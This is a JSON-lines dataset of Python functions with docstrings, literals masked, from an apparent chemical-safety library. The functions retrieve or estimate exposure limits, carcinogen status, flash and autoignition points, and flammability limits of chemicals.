{"signature": "def STEL(CASRN, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _OntarioExposureLimits and (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"] or _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]):<EOL><INDENT>methods.append(ONTARIO)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ONTARIO:<EOL><INDENT>if _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]:<EOL><INDENT>_STEL = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"], '<STR_LIT>')<EOL><DEDENT>elif _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]:<EOL><INDENT>_STEL = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"], '<STR_LIT>')<EOL><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>_STEL = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _STEL<EOL>", "docstring": "This function handles the retrieval of Short-term Exposure Limit on\n    worker exposure to dangerous chemicals.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> STEL('67-64-1')\n    (750.0, 'ppm')\n    >>> STEL('7664-38-2')\n    (0.7489774978301237, 'ppm')\n    >>> STEL('55720-99-5')\n    (2.0, 'mg/m^3')\n    >>> STEL('86290-81-5', AvailableMethods=True)\n    ['Ontario Limits', 'None']", "id": "f15791:m4"}
{"signature": "def Ceiling(CASRN, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _OntarioExposureLimits and (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"] or _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]):<EOL><INDENT>methods.append(ONTARIO)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ONTARIO:<EOL><INDENT>if _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]:<EOL><INDENT>_Ceiling = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"], '<STR_LIT>')<EOL><DEDENT>elif _OntarioExposureLimits[CASRN][\"<STR_LIT>\"]:<EOL><INDENT>_Ceiling = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"], '<STR_LIT>')<EOL><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>_Ceiling = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Ceiling<EOL>", "docstring": "This function handles the retrieval of Ceiling limits on worker\n    exposure to dangerous chemicals.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> Ceiling('75-07-0')\n    (25.0, 'ppm')\n    >>> Ceiling('1395-21-7')\n    (6e-05, 'mg/m^3')\n    >>> Ceiling('7572-29-4', AvailableMethods=True)\n    ['Ontario Limits', 'None']", "id": "f15791:m5"}
{"signature": "def Skin(CASRN, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in _OntarioExposureLimits:<EOL><INDENT>methods.append(ONTARIO)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ONTARIO:<EOL><INDENT>_Skin = (_OntarioExposureLimits[CASRN][\"<STR_LIT>\"])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>_Skin = None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Skin<EOL>", "docstring": "This function handles the retrieval of whether or not a chemical can\n    be absorbed through the skin, relevant to chemical safety calculations.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> Skin('108-94-1')\n    True\n    >>> Skin('1395-21-7')\n    False\n    >>> Skin('7572-29-4', AvailableMethods=True)\n    ['Ontario Limits', 'None']", "id": "f15791:m6"}
{"signature": "def Carcinogen(CASRN, AvailableMethods=False, Method=None):", "body": "methods = [COMBINED, IARC, NTP]<EOL>if AvailableMethods:<EOL><INDENT>return methods<EOL><DEDENT>if not Method:<EOL><INDENT>Method = methods[<NUM_LIT:0>]<EOL><DEDENT>if Method == IARC:<EOL><INDENT>if CASRN in IARC_data.index:<EOL><INDENT>status = IARC_codes[IARC_data.at[CASRN, '<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == NTP:<EOL><INDENT>if CASRN in NTP_data.index:<EOL><INDENT>status = NTP_codes[NTP_data.at[CASRN, '<STR_LIT>']]<EOL><DEDENT>else:<EOL><INDENT>status = UNLISTED<EOL><DEDENT><DEDENT>elif Method == COMBINED:<EOL><INDENT>status = {}<EOL>for method in methods[<NUM_LIT:1>:]:<EOL><INDENT>status[method] = Carcinogen(CASRN, Method=method)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return status<EOL>", "docstring": "r'''Looks up if a chemical is listed as a carcinogen or not according to\n    either a specifc method or with all methods.\n\n    Returns either the status as a string for a specified method, or the\n    status of the chemical in all available data sources, in the format\n    {source: status}.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    status : str or dict\n        Carcinogen status information [-]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain carcinogen status with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Carcinogen_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        if a chemical is listed as carcinogenic, and will return methods\n        instead of the status\n\n    Notes\n    -----\n    Supported methods are:\n\n        * **IARC**: International Agency for Research on Cancer, [1]_. As\n          extracted with a last update of  February 22, 2016. Has listing\n          information of 843 chemicals with CAS numbers. Chemicals without\n          CAS numbers not included here. If two listings for the same CAS\n          were available, that closest to the CAS number was used. If two\n          listings were available published at different times, the latest\n          value was used. All else equal, the most pessimistic value was used.\n        * **NTP**: National Toxicology Program, [2]_. Has data on 226\n          chemicals.\n\n    Examples\n    --------\n    >>> Carcinogen('61-82-5')\n    {'National Toxicology Program 13th Report on Carcinogens': 'Reasonably Anticipated', 'International Agency for Research on Cancer': 'Not classifiable as to its carcinogenicity to humans (3)'}\n\n    References\n    ----------\n    .. [1] International Agency for Research on Cancer. Agents Classified by\n       the IARC Monographs, Volumes 1-115. Lyon, France: IARC; 2016 Available\n       from: http://monographs.iarc.fr/ENG/Classification/\n    .. [2] NTP (National Toxicology Program). 2014. Report on Carcinogens,\n       Thirteenth Edition. Research Triangle Park, NC: U.S. Department of\n       Health and Human Services, Public Health Service.\n       http://ntp.niehs.nih.gov/pubhealth/roc/roc13/", "id": "f15791:m7"}
{"signature": "def Tflash(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in IEC_2010.index and not np.isnan(IEC_2010.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IEC)<EOL><DEDENT>if CASRN in NFPA_2008.index and not np.isnan(NFPA_2008.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(NFPA)<EOL><DEDENT>if CASRN in DIPPR_SERAT.index:<EOL><INDENT>methods.append(SERAT)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IEC:<EOL><INDENT>return float(IEC_2010.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NFPA:<EOL><INDENT>return float(NFPA_2008.at[CASRN, \"<STR_LIT>\"])<EOL><DEDENT>elif Method == SERAT:<EOL><INDENT>return float(DIPPR_SERAT.at[CASRN, \"<STR_LIT>\"])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval or calculation of a chemical's\n    flash point. Lookup is based on CASRNs. No predictive methods are currently\n    implemented. Will automatically select a data source to use if no Method\n    is provided; returns None if the data is not available.\n\n    Prefered source is 'IEC 60079-20-1 (2010)' [1]_, with the secondary source\n    'NFPA 497 (2008)' [2]_ having very similar data. A third source \n    'Serat DIPPR (2017)' [3]_ provides third hand experimental but evaluated \n    data from the DIPPR database, version unspecified, for 870 compounds.\n\n    Examples\n    --------\n    >>> Tflash(CASRN='64-17-5')\n    285.15\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Tflash : float\n        Flash point of the chemical, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Tflash with the given\n        inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Tflash_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Tflash for the desired chemical, and will return methods instead of\n        Tflash\n\n    Notes\n    -----\n    The predicted values from the DIPPR databank are also available in the\n    supporting material in [3]_, but are not included.\n\n    References\n    ----------\n    .. [1] IEC. \"IEC 60079-20-1:2010 Explosive atmospheres - Part 20-1:\n       Material characteristics for gas and vapour classification - Test\n       methods and data.\" https://webstore.iec.ch/publication/635. See also\n       https://law.resource.org/pub/in/bis/S05/is.iec.60079.20.1.2010.pdf\n    .. [2] National Fire Protection Association. NFPA 497: Recommended\n       Practice for the Classification of Flammable Liquids, Gases, or Vapors\n       and of Hazardous. NFPA, 2008.\n    .. [3] Serat, Fatima Zohra, Ali Mustapha Benkouider, Ahmed Yahiaoui, and \n       Farid Bagui. \"Nonlinear Group Contribution Model for the Prediction of \n       Flash Points Using Normal Boiling Points.\" Fluid Phase Equilibria 449 \n       (October 15, 2017): 52-59. doi:10.1016/j.fluid.2017.06.008.", "id": "f15791:m8"}
{"signature": "def Tautoignition(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in IEC_2010.index and not np.isnan(IEC_2010.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IEC)<EOL><DEDENT>if CASRN in NFPA_2008.index and not np.isnan(NFPA_2008.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(NFPA)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IEC:<EOL><INDENT>return float(IEC_2010.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NFPA:<EOL><INDENT>return float(NFPA_2008.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval or calculation of a chemical's\n    autoifnition temperature. Lookup is based on CASRNs. No predictive methods\n    are currently implemented. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Prefered source is 'IEC 60079-20-1 (2010)' [1]_, with the secondary source\n    'NFPA 497 (2008)' [2]_ having very similar data.\n\n    Examples\n    --------\n    >>> Tautoignition(CASRN='71-43-2')\n    771.15\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Tautoignition : float\n        Autoignition point of the chemical, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Tautoignition with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Tautoignition_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Tautoignition for the desired chemical, and will return methods\n        instead of Tautoignition\n\n    Notes\n    -----\n\n    References\n    ----------\n    .. [1] IEC. \u201cIEC 60079-20-1:2010 Explosive atmospheres - Part 20-1:\n       Material characteristics for gas and vapour classification - Test\n       methods and data.\u201d https://webstore.iec.ch/publication/635. See also\n       https://law.resource.org/pub/in/bis/S05/is.iec.60079.20.1.2010.pdf\n    .. [2] National Fire Protection Association. NFPA 497: Recommended\n       Practice for the Classification of Flammable Liquids, Gases, or Vapors\n       and of Hazardous. NFPA, 2008.", "id": "f15791:m9"}
{"signature": "def LFL(Hc=None, atoms={}, CASRN='<STR_LIT>', AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in IEC_2010.index and not np.isnan(IEC_2010.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IEC)<EOL><DEDENT>if CASRN in NFPA_2008.index and not np.isnan(NFPA_2008.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(NFPA)<EOL><DEDENT>if Hc:<EOL><INDENT>methods.append(SUZUKI)<EOL><DEDENT>if atoms:<EOL><INDENT>methods.append(CROWLLOUVAR)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IEC:<EOL><INDENT>return float(IEC_2010.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NFPA:<EOL><INDENT>return float(NFPA_2008.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == SUZUKI:<EOL><INDENT>return Suzuki_LFL(Hc=Hc)<EOL><DEDENT>elif Method == CROWLLOUVAR:<EOL><INDENT>return Crowl_Louvar_LFL(atoms=atoms)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval or calculation of a chemical's\n    Lower Flammability Limit. Lookup is based on CASRNs. Two predictive methods\n    are currently implemented. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Prefered source is 'IEC 60079-20-1 (2010)' [1]_, with the secondary source\n    'NFPA 497 (2008)' [2]_ having very similar data. If the heat of combustion\n    is provided, the estimation method `Suzuki_LFL` can be used. If the atoms\n    of the molecule are available, the method `Crowl_Louvar_LFL` can be used.\n\n    Examples\n    --------\n    >>> LFL(CASRN='71-43-2')\n    0.012\n\n    Parameters\n    ----------\n    Hc : float, optional\n        Heat of combustion of gas [J/mol]\n    atoms : dict, optional\n        Dictionary of atoms and atom counts\n    CASRN : string, optional\n        CASRN [-]\n\n    Returns\n    -------\n    LFL : float\n        Lower flammability limit of the gas in an atmosphere at STP, [mole fraction]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain LFL with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        LFL_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the Lower Flammability Limit for the desired chemical, and will return\n        methods instead of Lower Flammability Limit.\n\n    Notes\n    -----\n\n    References\n    ----------\n    .. [1] IEC. \u201cIEC 60079-20-1:2010 Explosive atmospheres - Part 20-1:\n       Material characteristics for gas and vapour classification - Test\n       methods and data.\u201d https://webstore.iec.ch/publication/635. See also\n       https://law.resource.org/pub/in/bis/S05/is.iec.60079.20.1.2010.pdf\n    .. [2] National Fire Protection Association. NFPA 497: Recommended\n       Practice for the Classification of Flammable Liquids, Gases, or Vapors\n       and of Hazardous. NFPA, 2008.", "id": "f15791:m10"}
{"signature": "def UFL(Hc=None, atoms={}, CASRN='<STR_LIT>', AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in IEC_2010.index and not np.isnan(IEC_2010.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IEC)<EOL><DEDENT>if CASRN in NFPA_2008.index and not np.isnan(NFPA_2008.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(NFPA)<EOL><DEDENT>if Hc:<EOL><INDENT>methods.append(SUZUKI)<EOL><DEDENT>if atoms:<EOL><INDENT>methods.append(CROWLLOUVAR)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IEC:<EOL><INDENT>return float(IEC_2010.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NFPA:<EOL><INDENT>return float(NFPA_2008.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == SUZUKI:<EOL><INDENT>return Suzuki_UFL(Hc=Hc)<EOL><DEDENT>elif Method == CROWLLOUVAR:<EOL><INDENT>return Crowl_Louvar_UFL(atoms=atoms)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval or calculation of a chemical's\n    Upper Flammability Limit. Lookup is based on CASRNs. Two predictive methods\n    are currently implemented. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Prefered source is 'IEC 60079-20-1 (2010)' [1]_, with the secondary source\n    'NFPA 497 (2008)' [2]_ having very similar data. If the heat of combustion\n    is provided, the estimation method `Suzuki_UFL` can be used. If the atoms\n    of the molecule are available, the method `Crowl_Louvar_UFL` can be used.\n\n    Examples\n    --------\n    >>> UFL(CASRN='71-43-2')\n    0.086\n\n    Parameters\n    ----------\n    Hc : float, optional\n        Heat of combustion of gas [J/mol]\n    atoms : dict, optional\n        Dictionary of atoms and atom counts\n    CASRN : string, optional\n        CASRN [-]\n\n    Returns\n    -------\n    UFL : float\n        Upper flammability limit of the gas in an atmosphere at STP, [mole fraction]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain UFL with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        UFL_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the Upper Flammability Limit for the desired chemical, and will return\n        methods instead of Upper Flammability Limit.\n\n    Notes\n    -----\n\n    References\n    ----------\n    .. [1] IEC. \u201cIEC 60079-20-1:2010 Explosive atmospheres - Part 20-1:\n       Material characteristics for gas and vapour classification - Test\n       methods and data.\u201d https://webstore.iec.ch/publication/635. See also\n       https://law.resource.org/pub/in/bis/S05/is.iec.60079.20.1.2010.pdf\n    .. [2] National Fire Protection Association. NFPA 497: Recommended\n       Practice for the Classification of Flammable Liquids, Gases, or Vapors\n       and of Hazardous. NFPA, 2008.", "id": "f15791:m11"}
{"signature": "def fire_mixing(ys=None, FLs=None):  ", "body": "return <NUM_LIT:1.>/sum([yi/FLi for yi, FLi in zip(ys, FLs)])<EOL>", "docstring": "Crowl, Daniel A., and Joseph F. Louvar. Chemical Process Safety:\nFundamentals with Applications. 2E. Upper Saddle River, N.J:\nPrentice Hall, 2001.\n\n\n>>> fire_mixing(ys=normalize([0.0024, 0.0061, 0.0015]), FLs=[.012, .053, .031])\n0.02751172136637643\n>>> fire_mixing(ys=normalize([0.0024, 0.0061, 0.0015]), FLs=[.075, .15, .32])\n0.12927551844869378", "id": "f15791:m12"}
{"signature": "def LFL_mixture(ys=None, LFLs=None, CASRNs=None, AvailableMethods=False,<EOL>Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRNs:<EOL><INDENT>CASRNs2 = list(CASRNs)<EOL>LFLs2 = list(LFLs)<EOL>for i in inerts:<EOL><INDENT>if i in CASRNs2:<EOL><INDENT>ind = CASRNs.index(i)<EOL>CASRNs2.remove(i)<EOL>LFLs2.remove(LFLs[ind])<EOL><DEDENT><DEDENT>if none_and_length_check([LFLs2]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if none_and_length_check([LFLs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL>", "docstring": "Inert gases are ignored.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> LFL_mixture(ys=normalize([0.0024, 0.0061, 0.0015]), LFLs=[.012, .053, .031])\n    0.02751172136637643\n    >>> LFL_mixture(LFLs=[None, None, None, None, None, None, None, None, None, None, None, None, None, None, 0.025, 0.06, 0.073, 0.020039, 0.011316], ys=[0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.10, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05], CASRNs=['7440-37-1', '124-38-9', '7440-59-7', '7440-01-9', '7727-37-9', '7440-63-3', '10102-43-9', '7782-44-7', '132259-10-0', '7439-90-9', '10043-92-2', '7732-18-5', '7782-50-5', '7782-41-4', '67-64-1', '67-56-1', '75-52-5', '590-19-2', '277-10-1'])\n    0.023964903630937385", "id": "f15791:m13"}
{"signature": "def UFL_mixture(ys=None, UFLs=None, CASRNs=None, AvailableMethods=False,<EOL>Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRNs:<EOL><INDENT>CASRNs2 = list(CASRNs)<EOL>UFLs2 = list(UFLs)<EOL>for i in inerts:<EOL><INDENT>if i in CASRNs2:<EOL><INDENT>ind = CASRNs.index(i)<EOL>CASRNs2.remove(i)<EOL>UFLs2.remove(UFLs[ind])<EOL><DEDENT><DEDENT>if none_and_length_check([UFLs2]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT><DEDENT>if none_and_length_check([UFLs, ys]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL>", "docstring": "Inert gases are ignored.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> UFL_mixture(ys=normalize([0.0024, 0.0061, 0.0015]), UFLs=[.075, .15, .32])\n    0.12927551844869378\n    >>> LFL_mixture(LFLs=[None, None, None, None, None, None, None, None, None, None, None, None, None, None, 0.143, 0.36, 0.63, 0.1097, 0.072], ys=[0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.10, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05, 0.05], CASRNs=['7440-37-1', '124-38-9', '7440-59-7', '7440-01-9', '7727-37-9', '7440-63-3', '10102-43-9', '7782-44-7', '132259-10-0', '7439-90-9', '10043-92-2', '7732-18-5', '7782-50-5', '7782-41-4', '67-64-1', '67-56-1', '75-52-5', '590-19-2', '277-10-1'])\n    0.14550641757359664", "id": "f15791:m14"}
{"signature": "def Suzuki_LFL(Hc=None):", "body": "Hc = Hc/<NUM_LIT><EOL>LFL = -<NUM_LIT>/Hc + <NUM_LIT>*Hc + <NUM_LIT>*Hc*Hc + <NUM_LIT><EOL>return LFL/<NUM_LIT><EOL>", "docstring": "r'''Calculates lower flammability limit, using the Suzuki [1]_ correlation.\n    Uses heat of combustion only.\n\n    The lower flammability limit of a gas is air is:\n\n    .. math::\n        \\text{LFL} = \\frac{-3.42}{\\Delta H_c^{\\circ}} + 0.569\n        \\Delta H_c^{\\circ} + 0.0538\\Delta H_c^{\\circ 2} + 1.80\n\n    Parameters\n    ----------\n    Hc : float\n        Heat of combustion of gas [J/mol]\n\n    Returns\n    -------\n    LFL : float\n        Lower flammability limit, mole fraction [-]\n\n    Notes\n    -----\n    Fit performed with 112 compounds, r^2 was 0.977.\n    LFL in percent volume in air. Hc is at standard conditions, in MJ/mol.\n    11 compounds left out as they were outliers.\n    Equation does not apply for molecules with halogen atoms, only hydrocarbons\n    with oxygen or nitrogen or sulfur.\n    No sample calculation provided with the article. However, the equation is\n    straightforward.\n\n    Limits of equations's validity are -6135596 J where it predicts a\n    LFL of 0, and -48322129 J where it predicts a LFL of 1.\n\n    Examples\n    --------\n    Pentane, 1.5 % LFL in literature\n\n    >>> Suzuki_LFL(-3536600)\n    0.014276107095811815\n\n    References\n    ----------\n    .. [1] Suzuki, Takahiro. \"Note: Empirical Relationship between Lower\n       Flammability Limits and Standard Enthalpies of Combustion of Organic\n       Compounds.\" Fire and Materials 18, no. 5 (September 1, 1994): 333-36.\n       doi:10.1002/fam.810180509.", "id": "f15791:m15"}
{"signature": "def Suzuki_UFL(Hc=None):", "body": "Hc = Hc/<NUM_LIT><EOL>UFL = <NUM_LIT>*Hc + <NUM_LIT>*Hc*Hc + <NUM_LIT><EOL>return UFL/<NUM_LIT><EOL>", "docstring": "r'''Calculates upper flammability limit, using the Suzuki [1]_ correlation.\n    Uses heat of combustion only.\n\n    The upper flammability limit of a gas is air is:\n\n    .. math::\n        \\text{UFL} = 6.3\\Delta H_c^\\circ + 0.567\\Delta H_c^{\\circ 2} + 23.5\n\n    Parameters\n    ----------\n    Hc : float\n        Heat of combustion of gas [J/mol]\n\n    Returns\n    -------\n    UFL : float\n        Upper flammability limit, mole fraction\n\n    Notes\n    -----\n    UFL in percent volume in air according to original equation.\n    Hc is at standard conditions in the equation, in units of MJ/mol.\n    AAPD = 1.2% for 95 compounds used in fit.\n    Somewhat better results than the High and Danner method.\n    4.9% < UFL < 23.0%\n    -890.3 kJ/mol < dHc < -6380 kJ/mol\n    r^2 = 0.989\n    Sample calculations provided for all chemicals, both this method and\n    High and Danner. Examples are from the article.\n\n    Predicts a UFL of 1 at 7320190 J and a UFL of 0 at -5554160 J.\n\n    Examples\n    --------\n    Pentane, literature 7.8% UFL\n\n    >>> Suzuki_UFL(-3536600)\n    0.0831119493052\n\n    References\n    ----------\n    .. [1] Suzuki, Takahiro, and Kozo Koide. \"Short Communication: Correlation\n       between Upper Flammability Limits and Thermochemical Properties of\n       Organic Compounds.\" Fire and Materials 18, no. 6 (November 1, 1994):\n       393-97. doi:10.1002/fam.810180608.", "id": "f15791:m16"}
{"signature": "def Crowl_Louvar_LFL(atoms):", "body": "nC, nH, nO = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>if '<STR_LIT:C>' in atoms and atoms['<STR_LIT:C>']:<EOL><INDENT>nC = atoms['<STR_LIT:C>']<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>if '<STR_LIT:H>' in atoms:<EOL><INDENT>nH = atoms['<STR_LIT:H>']<EOL><DEDENT>if '<STR_LIT:O>' in atoms:<EOL><INDENT>nO = atoms['<STR_LIT:O>']<EOL><DEDENT>return <NUM_LIT>/(<NUM_LIT>*nC + <NUM_LIT>*nH - <NUM_LIT>*nO + <NUM_LIT:1.>)<EOL>", "docstring": "r'''Calculates lower flammability limit, using the Crowl-Louvar [1]_\n    correlation. Uses molecular formula only.\n\n    The lower flammability limit of a gas is air is:\n\n    .. math::\n        C_mH_xO_y + zO_2 \\to mCO_2 + \\frac{x}{2}H_2O\n\n        \\text{LFL} = \\frac{0.55}{4.76m + 1.19x - 2.38y + 1}\n\n    Parameters\n    ----------\n    atoms : dict\n        Dictionary of atoms and atom counts\n\n    Returns\n    -------\n    LFL : float\n        Lower flammability limit, mole fraction\n\n    Notes\n    -----\n    Coefficient of 0.55 taken from [2]_\n\n    Examples\n    --------\n    Hexane, example from [1]_, lit. 1.2 %\n\n    >>> Crowl_Louvar_LFL({'H': 14, 'C': 6})\n    0.011899610558199915\n\n    References\n    ----------\n    .. [1] Crowl, Daniel A., and Joseph F. Louvar. Chemical Process Safety:\n       Fundamentals with Applications. 2E. Upper Saddle River, N.J:\n       Prentice Hall, 2001.\n    .. [2] Jones, G. W. \"Inflammation Limits and Their Practical Application\n       in Hazardous Industrial Operations.\" Chemical Reviews 22, no. 1\n       (February 1, 1938): 1-26. doi:10.1021/cr60071a001", "id": "f15791:m17"}
